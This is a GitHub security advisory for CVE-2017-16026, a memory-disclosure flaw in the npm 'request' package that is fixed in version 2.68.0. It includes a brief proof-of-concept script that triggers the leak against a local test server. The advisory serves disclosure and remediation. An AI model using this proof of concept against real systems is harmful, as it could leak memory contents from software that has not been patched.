GitHub Advisoryadvisory · npm

GHSA-7xfp-9c55-5vqj Remote Memory Exposure in request

MEDIUM Published 2018-11-09 Modified 2023-09-12 Official page ↗
Aliases
CVE-2017-16026
Ecosystem
npm
Packages
request
Severity
Moderate
CVSS vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-201
Reviewed
2020-06-16

Affected packages

• npm request: >= 2.49.0, < 2.68.0 → fixed in 2.68.0 • npm request: >= 2.2.6, < 2.68.0 → fixed in 2.68.0

Description

Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body. Proof of Concept ```js var request = require('request'); var http = require('http'); var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000); request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ``` Recommendation Update to version 2.68.0 or later

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-201 Insertion of Sensitive Information Into Sent Data weakness

References